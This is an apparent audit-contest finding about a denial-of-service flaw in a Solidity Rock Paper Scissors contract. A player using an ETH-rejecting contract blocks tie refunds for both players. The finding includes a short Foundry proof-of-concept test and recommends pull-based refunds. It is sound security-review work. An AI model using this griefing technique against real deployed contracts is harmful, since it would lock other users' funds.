Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

ETH refunds in game tie handling can be denied

vito

Summary

The RockPaperScissors contract contains a vulnerability in the _cancelGame() and _handleTie() functions where ETH transfers are made directly to player addresses and the transfer validation is carried out on them altogether. If one player's address is a contract that reverts when receiving ETH (e.g., a contract without a fallback or receive function, or one that deliberately reverts), it will cause the entire transaction to fail. This prevents the other legitimate player from receiving their refund, effectively locking funds in the contract.

Vulnerability Details

The problematic pattern looks like this in test:

​
contract CorruptEthReceiver {
// No receive nor fallback functions
​
}
​
contract AuditProofOfConcepts is Test {
...
function testCorruptEthReceiver() public {
// Create a game with a corrupted receiver
uint total_turns =1;
CorruptEthReceiver corruptedEthReceiver = new CorruptEthReceiver();
vm.deal(address(corruptedEthReceiver), 10 ether);
address playerB_ = address(corruptedEthReceiver);
​
bytes32 saltA = keccak256(abi.encodePacked("salt for player A"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
bytes32 saltB = keccak256(abi.encodePacked("salt for player B"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltB));
​
vm.prank(playerA);
uint256 id = game.createGameWithEth{value: BET_AMOUNT}(total_turns, TIMEOUT);
vm.prank(address(playerB_));
game.joinGameWithEth{value: BET_AMOUNT}(id);
​
vm.prank(playerA);
game.commitMove(gameId, commitA);
vm.prank(playerB_);
game.commitMove(gameId, commitB);
​
// Reveal moves
vm.prank(playerB_);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltB);
vm.prank(playerA);
// PlayerA does not receive their refund because of playerB corrupted reception
vm.expectRevert("Transfer failed");
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
}
}

If the first transfer succeeds but the second one fails, the entire transaction reverts, causing both transfers to fail. This means that if either player is a malicious or incompatible contract, they can prevent both players from receiving their funds.

Impact

The impact of this vulnerability is considered to be medium:

  • A malicious player can deliberately use a contract address that rejects ETH transfers to prevent the other player from receiving their refund intending to undermine the Game by causing a denial of service.

  • Even non-malicious scenarios, where a player uses a smart contract wallet with improper ETH receiving capabilities, can cause funds to become locked for other players.

  • The ETH bets become permanently trapped in the RockPaperScissors contract with no extraction mechanism.

  • Players might lose trust in the game contract due to funds becoming unrecoverable.

  • Scope: The vulnerability affects game tie scenarios, which are limited but still common outcome in a Rock-Paper-Scissors game.

Tools Used

  • Foundry

Recommendations

Implement a pull-over-push pattern for ETH refunds:

  • Store refund amounts in a mapping instead of immediate transfers. Create a separate claimRefund() function that players can call individually.

Updates

Appeal created

m3dython Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

m3dython Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.